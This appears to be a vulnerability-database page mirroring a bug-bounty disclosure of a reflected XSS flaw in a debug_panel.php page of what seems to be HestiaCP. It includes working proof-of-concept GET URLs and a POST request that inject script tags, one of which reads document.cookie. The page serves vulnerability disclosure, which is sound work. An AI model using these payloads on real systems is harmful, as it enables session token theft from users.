Lucene search

K
huntrIamxhunt3r6AC5CF87-6350-4645-8930-8F2876427723
HistoryJun 29, 2023 - 4:45 p.m.

Reflected XSS

2023-06-2916:45:42
iamxhunt3r
www.huntr.dev
7
reflected xss
session token theft
exploitation
get request
post request

0.001 Low

EPSS

Percentile

32.9%

Description

An attacker can steal the session token of any user by exploiting reflected XSS.

Proof of Concept

Send GET request to any of the below links.

http://target/templates/pages/debug_panel.php?id=xss"><script>alert(document.cookie)</script>
http://target/templates/pages/debug_panel.php?id=xss"><script>alert('xss')</script>

Send POST request which looks like below

POST /templates/pages/debug_panel.php HTTP/1.1
Host: demo.hestiacp.com:8083
User-Agent: curl/7.79.1
Accept: */*
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Connection: close

{"id":"<script>alert(1)</script>"}

0.001 Low

EPSS

Percentile

32.9%

Related for 6AC5CF87-6350-4645-8930-8F2876427723